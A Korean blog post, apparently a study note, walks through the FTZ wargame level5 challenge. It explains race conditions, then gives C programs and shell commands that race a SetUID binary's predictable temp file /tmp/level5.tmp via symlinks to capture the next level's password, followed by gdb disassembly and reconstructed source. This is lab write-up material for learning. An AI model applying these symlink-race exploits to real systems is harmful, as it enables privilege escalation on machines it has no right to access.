■ Level5 -> Level6
■ 목적
레이스 컨디션(Race Condition, 경쟁상태/경쟁조건)
다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태.
예) 웹 사이트 뒤로 누르면 뒤로 안가는 사이트가 있다. 뒤로 보내줘야하지만 보안상 못가게 점검한다. 뒤로를 굉장히 빠르게 누르면 뒤로 넘어갈 수 있다. 코딩의 문제이며, 레이스컨디션의 예제로 들수 있다. (경쟁하다가 프로그래머가 생각하지 못한것이 발생할 수 있다.)
CPU스케줄링
-현재 Round Robin방식이 가장 많이 사용되고 있다.
-SJF는 짧은 작업이 게속들어오면 긴작없이 중요하지만 실행할 수 없는 단점이 생긴다.
-RR은 일정한 단위로 작업을 쪼개서 작업하기 때문에, 운영체제의 속도보다 CPU속도가 천배는 빠르기 때문에 가능하다.
레이스 컨디션(Race Condition)
다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태이다.
레이스 컨디션(Race Condition)의 전제조건
-다른 계정의 권한에 접근해야 하므로 SetUID가 걸려 있어야 한다.
-임시 파일을 생성해야 한다.
-공격자가 임시로 생성되는 파일명을 정확하게 알아야 한다. (#lsof pid)
레이스 컨디션이 발생하는 경우의 예
(일반적인 프로그램 실행시)
① 파일생성
② 생성된 파일에 내용쓰기
③ 쓴 내용을 읽어들여 처리/사용
④ 파일 삭제
■ level5 문제에 도전하기
level5 사용자로 로그인
-> ID/PASS: level5/what is your name?
$ ls -l
합계 12 -rw-r--r-- 1 root root 129 3월 23 2000 hint drwxr-xr-x 2 root level5 4096 2월 24 2002 public_html drwxrwx--- 2 root level5 4096 1월 16 2009 tmp |
$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에 level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
|
level5.tmp 라는 파일이 생성되는 것 같다.
/usr/bin/에 가보면 해당 파일이 존재하는 것을 볼 수 있다.
$ ls -l /usr/bin/level5
-rws--x--- 1 level6 level5 12236 8월 19 12:58 /usr/bin/level5 |
SETUID 권한이 있고 level5 그룹은 실행 권한만 있다.
$ find / -user level6 -perm -4000 2>/dev/null
/usr/bin/level5 |
$ /usr/bin/level5 ; ls -l /tmp/level5.tmp
ls: /tmp/level5.tmp: 그런 파일이나 디렉토리가 없음 |
/usr/bin/lebel5 프로그램을 실행시켜 본다.
-> 파일이 빨리 생성 되었다가 지워지기 때문에 없는것 처럼 보인다.
/tmp 에도 level5.tmp가 존재하지 않는다.
아마 프로그램이 실행되면 level5.tmp가 생성되고 바로 삭제되는 것 같다.
여기서 포인트는 level5.tmp를 미리 생성해보면 어떨까 이다.
이것이 레이스 컨디션 기술이다.
예를 들어
프로그램이
level5.tmp를 생성하고
무언가 내용을 삽입한뒤
다시 삭제하는 동작을 하는 프로그램이라면
내가 미리 level5.tmp파일을 생성하고 그 내용을 출력하게 동작 시킨다면
/usr/bin/level5의 실행동작 과정중
무언가 내용을 삽입할 때
동시에 내가 만들 파일(level5.tmp)이 동작하게 하는 것이다.
삭제 되기전에 안에 내용을 출력할수 있도록.
원리를 통해서 손쉽게 클리어 할 수 있다.
$ touch level5.tmp
$ /usr/bin/level5
$ cat level5.tmp
$ ls -l level5.tmp
이런 동작을 레이스 컨디션(Race Condition)이라고 한다.
프로세서들이 여러번 실행되는 과정에서 실행 순서가 뒤바뀌어 실행자가 원하는 결과를 얻는 것이다.
일종의 경쟁 상태라고 해석하면 된다.
아마도 여기에선 fopen을 사용한 것 같다.
fopen의 특징으로는 경로안에 해당 파일이 없을 경우 새로 생성하고, 만약 존재하면 그 파일을 사용한다.
그냥 덮어 써버리는 것이다.
이를 이용해서 내가 만든 프로그램을 level5.tmp에 심볼릭 링크를 걸고
그안에 내용이 추가되면 남기도록 하거나 혹은 출력하게 하고 그 동작을 반복 시킨다면 기존에
/usr/bin/level5 프로그램이 실행되는 과정에서 password가 출력되는 순간을 잡아낼 것이다.
$ ln -s /tmp/test.txt /tmp/level5.tmp
$ /usr/bin/level5
$ cat/tmp/level5.tmp
$ cat test.txt
이런 원리라고 설명할수 있다.
이 원리를 바탕으로 간단하게 스크립트를 만들어 보자.
$ cd tmp
$ vi runTarget.c
#include <unistd.h> int main(void) { int i; for(i=0; i<10; i++) { system("/usr/bin/level5 &"); } } |
$ vi Attack_Target.c
#include<unistd.h> int main() { int i; system("touch /tmp/18pass.txt"); for(i=0; i<=10; i++) { system("ln -s /tmp/18pass.txt /tmp/level5.tmp"); } system("cat /tmp/18pass.txt"); system("rm -rf /tmp/18pass.txt"); } |
$ vi Attack_Target.sh
#!/bin/bash # # # gcc -o Attack_Target Attack_Target.c # # gcc -o runTarget runTarget.c # # ./Attack_Target.sh # ./runTarget & ./Attack_Target |
$ gcc -o Attack_Target Attack_Target.c
$ gcc -o runTarget runTarget.c
$ chmod 755 Attack_Target.sh
$ ./Attack_Target.sh
ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 next password : what the hell |
레이스 컨디션 공격 타이밍
스크립트 해석 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-------------------------- Attack_Target.sh -------------------------------------------
Attack_Target process runTarget process
(ㄱ) 프로그램 실행 (ㄱ) 프로그램 실행
(ㄴ) 파일 생성(/tmp/18pass.txt)
|
+-------> (ㄷ)링크 파일 생성 <--(ㄴ) 파일을 생성할려고 하지만 미리 만들어져 있음
(/tmp/level5.tmp)
(ㄷ) 파일에 내용 추가
(ㄹ) 파일 내용 확인(/tmp/level5.tmp)
(ㅁ) 파일 삭제(EX:rm -f /tmp/18pass.txt)(ㄹ) 파일 삭제(EX: rm -f /tmp/level5.tmp)
(ㅂ) 프로그램 종료 (ㅁ) 프로그램 종료
=======================================================================================
thread를 사용하여 좀 더 공격방법을 진화 시켜 보자.
[참고] Process & Thread 대해서
Thread방식의 대표는 JAVA
-하나의 프로세스를 띄운다. 메인 자바 프레임이 뜨고 관리하는 자바프레임이 뜬다.
-프로세스 하나를 메모리 크게 10G, 50G만큼 잡는다.
-동작을 할때 코드부분 하나로 올리고 각각의 프로세스가 갖고 올라가는 환경변수를 링크를 건다.
-Process방식의 코드부분이 절약할 수 있어서 좋다.
Process방식 대표는 httpd
-웹브라우저로 요청하면 웹데몬하나와 통신한다.
-다른 사용자가 요청하면 다른 웹데몬이 생겨서 웹브라우저와 통신(웹브라우저와 웹데몬 하나씩 통신)
-프로세스 하나당 변하지 않는 코드부분과 변수부분이 있다. 매번 실행될때 마다 이 부분이 올라간다.
효율성- Thread방식이 더 우수하다.
$ vi Attack_Target2.c
#include <stdio.h> #include <stdlib.h> #include <pthread.h> /* Complie Option: -pthread # gcc -o Attack_Target Attack_Target2.c -pthread # ./Attack_Target */ void *exec_cmd(); void *exec_race(); int main() { pthread_t thread1, thread2; char *message1 = "Thread 1"; char *message2 = "Thread 2"; int iret1, iret2, i; iret1 = pthread_create(&thread1, NULL, exec_cmd, (void *) message1); iret2 = pthread_create(&thread2, NULL, exec_race, (void *) message2); pthread_join(thread1, NULL); pthread_join(thread2, NULL); printf("Thread1 return: %d\n", iret1); printf("Thread2 return: %d\n", iret2); return 0; } void *exec_cmd() { int i; for(i=0; i<10; i++) { system("/usr/bin/level5 &"); printf("---------- Execute level5 ----------\n"); } exit(0); } void *exec_race() { int i; system("touch /tmp/18pass.txt"); for(i=0; i<10; i++) { system("ln -s /tmp/18pass.txt /tmp/level5.tmp &"); printf("=========== Sucessfully create link !!! ========\n"); system("cat /tmp/18pass.txt"); } exit(0); } |
프로그램이 어떻게 동작하는지 분석하기 위해서
printf() 함수를 각 라인에 붙여서 프로그램을 동작을 시키면 좀더 효과적으로 분석할 수 있다.
확인하기 위해 FTZ Server의 root 계정으로 로그인한다.
$ su - root
root 사용자의 암호 입력
# rm -f /tmp/18pass.txt /tmp/level5.tmp
# exit
$ gcc -o Attack_Target Attack_Target2.c -pthread
$ ./Attack_Target
$ telnet localhost
level6/what the hell
<CTRL + ]>
telnet> quit
$
$ cd /tmp
$ ls -l
합계 16 -rw-rw-r-- 1 level5 level5 31 11월 26 17:54 18pass.txt -rw-rw-r-- 1 level4 level3 107 11월 25 18:54 backdoor2.c lrwxrwxrwx 1 level5 level5 15 11월 26 17:54 level5.tmp -> /tmp/18pass.txt drwx------ 2 root root 4096 11월 26 15:39 orbit-root drwx------ 2 root root 4096 11월 26 15:38 ssh-XXugNuiN |
$ cat 18pass.txt
next password : what the hell |
------------------------------------------------------------------------------------------------
■ 리버싱을 통한 의사 코드 복원
정적 분석 방법 : 바이너리 형태를 어셈블리 형태로 바로 분석.
$ ls -l /usr/bin/level5
-rws--x--- 1 level6 level5 12236 8월 19 12:58 /usr/bin/level5 |
-> 실행만 할 수 있기 때문 gdb로 디버깅할 수 없다.
-> level6의 password를 알아냈기 때문에 다음 레벨의 권한으로 디버깅 작업을 수행한다.
$ gdb /usr/bin/level5
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x0804842c <main+0>: push %ebp 0x0804842d <main+1>: mov %esp,%ebp 0x0804842f <main+3>: sub $0x8,%esp 0x08048432 <main+6>: and $0xfffffff0,%esp 0x08048435 <main+9>: mov $0x0,%eax 0x0804843a <main+14>: sub %eax,%esp 0x0804843c <main+16>: sub $0x8,%esp 0x0804843f <main+19>: push $0x180 0x08048444 <main+24>: push $0x8048580 <-- "/tmp/level5.tmp" 0x08048449 <main+29>: call 0x804832c <creat> 문제가 되는 creat함수 int creat(const char *pathname, mode_t mode); <creat> 생성하고 싶은 파일이름과 모듈을 쓴다.(있으면 사용, 없으면 생성) <-- 취약한 부분 0x0804844e <main+34>: add $0x10,%esp 0x08048451 <main+37>: mov %eax,0xfffffffc(%ebp) 0x08048454 <main+40>: cmpl $0x0,0xfffffffc(%ebp) 비교하는 동작 후 점프 0x08048458 <main+44>: jns 0x8048484 <main+88> if(fd < 0) { 파일생성 실패 } else { 파일생성 성공 } 0x0804845a <main+46>: sub $0xc,%esp <-- main+40 이 참이면 동작하는 구문 0x0804845d <main+49>: push $0x80485a0 0x08048462 <main+54>: call 0x804835c <printf> <-- 에러 출력구문 0x08048467 <main+59>: add $0x10,%esp 0x0804846a <main+62>: sub $0xc,%esp 0x0804846d <main+65>: push $0x8048580 0x08048472 <main+70>: call 0x804833c <remove> /* int remove(const char *pathname); 0x08048477 <main+75>: add $0x10,%esp 0x0804847a <main+78>: sub $0xc,%esp 0x0804847d <main+81>: push $0x0 0x0804847f <main+83>: call 0x804836c <exit> 0x08048484 <main+88>: sub $0x4,%esp 0x08048487 <main+91>: push $0x1f 0x08048489 <main+93>: push $0x80485e0 <-- level6 passwd 내용 0x0804848e <main+98>: pushl 0xfffffffc(%ebp) 버퍼의 크기만큼 내용을 집어넣는다. 0x08048491 <main+101>: call 0x804830c <write> /* ssize_t write(int fd, const void *b uf, size_t count); */ 0x08048496 <main+106>: add $0x10,%esp 0x08048499 <main+109>: sub $0xc,%esp 0x0804849c <main+112>: pushl 0xfffffffc(%ebp) 0x0804849f <main+115>: call 0x804831c <close> 열린 파일을 닫는 동작 ---Type <return> to continue, or q <return> to quit--- 0x080484a4 <main+120>: add $0x10,%esp 0x080484a7 <main+123>: sub $0xc,%esp 0x080484aa <main+126>: push $0x8048580 임시파일을 삭제하는 동작 0x080484af <main+131>: call 0x804833c <remove> int remove(const char *pathname); 0x080484b4 <main+136>: add $0x10,%esp 0x080484b7 <main+139>: leave 0x080484b8 <main+140>: ret 0x080484b9 <main+141>: nop 0x080484ba <main+142>: nop 0x080484bb <main+143>: nop End of assembler dump. (gdb) x/s 0x8048580 0x8048580 <_IO_stdin_used+28>: "/tmp/level5.tmp" (gdb) x/s 0x80485a0 0x80485a0 <_IO_stdin_used+60>: "Can not creat a temporary file.\n" (gdb) x/s 0x80485e0 0x80485e0 <_IO_stdin_used+124>: "next password : what the hell\n" (gdb) x/s 0x8048580 0x8048580 <_IO_stdin_used+28>: "/tmp/level5.tmp" (gdb) quit |
복원된 의사 코드
# vi level5.c
#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define PERM 0x180 int main() { int fd; char nextPass[] = "next password : what the hell\n"; char *tempfile = "/tmp/level5.tmp; // temporary file create fd = create(tempFile, PERM); if(fd < 0) { printf("Can not create a temporary file.\n"); 정상적으로 생성이 안되면 remove(tempFile); exit(0); } else { write(fd, nextPass, strlen(nextPass)); 그렇지 않으면 정상동작 close(fd); remove(tempFile); } return 0; } |
원본 소스 코드
# vi level5.c
#include <unistd.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <stdlib.h> #include <string.h> #define TMP_FILE "/tmp/level5.tmp" #define LVL6_PASS "next password : what the hell\n" int main( void ) { int fd; fd = creat( TMP_FILE, S_IRUSR|S_IWUSR ); if( fd < 0 ) { printf( "Can not creat a temporary file.\n" ); remove( TMP_FILE ); exit(0); } write( fd, LVL6_PASS, strlen( LVL6_PASS ) + 1 ); close( fd ); remove( TMP_FILE ); } |
의사코드나 원본코드나 어셈블리 상태에서는 같은 동작을 하게 된다.
==============================================================================
■ 다른 방법을 통한 문제 풀이
http://inhack.org/wordpress/?p=1968
위 링크의 원본 내용을 되도록 손상시키지 않는 범위내에서 문서를 작성하였습니다.
level5 사용자로 로그인
-> level5/what is your name?
[level5@ftz tmp]$ su - root
root 사용자의 암호 입력
[root@ftz root]# rm -f /tmp/18pass.txt /tmp/level5.tmp /tmp/level6
[root@ftz root]# exit
[level5@ftz level5]$ cd tmp
[level5@ftz tmp]$ vi racecon1.c
#include <stdio.h> int main() { while(1) system("/usr/bin/level5"); 무한루프로 실행 while(1) /usr/bin/에 있는 level5를 return 0; 실행시키는 프로그램 } |
[level5@ftz tmp]$ vi racecon2.c
#include <stdio.h> int main() { while(1) system("ln -s /tmp/level6 /tmp/level5.tmp"); level5.tmp를 level6으로 심볼릭링크 return 0; } |
[level5@ftz tmp]$ vi racecon3.c
#include <stdio.h> int main() { while(1) system("tail -f /tmp/level6"); 모니터링과정 / 무한루프 비효율 return 0; } |
여기서 읽는 역할을 반복할 필요는 없다.
cat 명령어를 사용하면 무난하다.
[level5@ftz tmp]$ gcc -o racecon1 racecon1.c
[level5@ftz tmp]$ gcc -o racecon2 racecon2.c
[level5@ftz tmp]$ gcc -o racecon3 racecon3.c
[level5@ftz tmp]$ ./racecon1 & ./racecon2 2>/dev/null & ./racecon3 2>/dev/null
[1] 4453 [2] 4454 next password : what the hell <CTRL + Z> [3]+ Stopped ./racecon3 2>/dev/null |
[level5@ftz tmp]$ pgrep -lf racecon
11647 ./racecon1 11648 ./racecon2 11649 ./racecon3 |
[level5@ftz tmp]$ pgrep racecon
11647 11648 11649 |
[level5@ftz tmp]$ kill -9 `pgrep racecon`
[3]+ 죽었음 ./racecon3 2>/dev/null |
'Learning > └◆Reversing' 카테고리의 다른 글
06_Level6 -> Level7[FTZ] signal() 함수 취약점 살펴보기 (0) | 2017.01.28 |
---|---|
[참고] ln 명령어의 대해서 (0) | 2017.01.28 |
05_Level4 -> Level5[FTZ] xinetd 방식 여러가지 로컬/원격 백도어 (0) | 2017.01.20 |
04_Level3 -> Level4[FTZ] system() 함수의 취약점 분석 (0) | 2017.01.20 |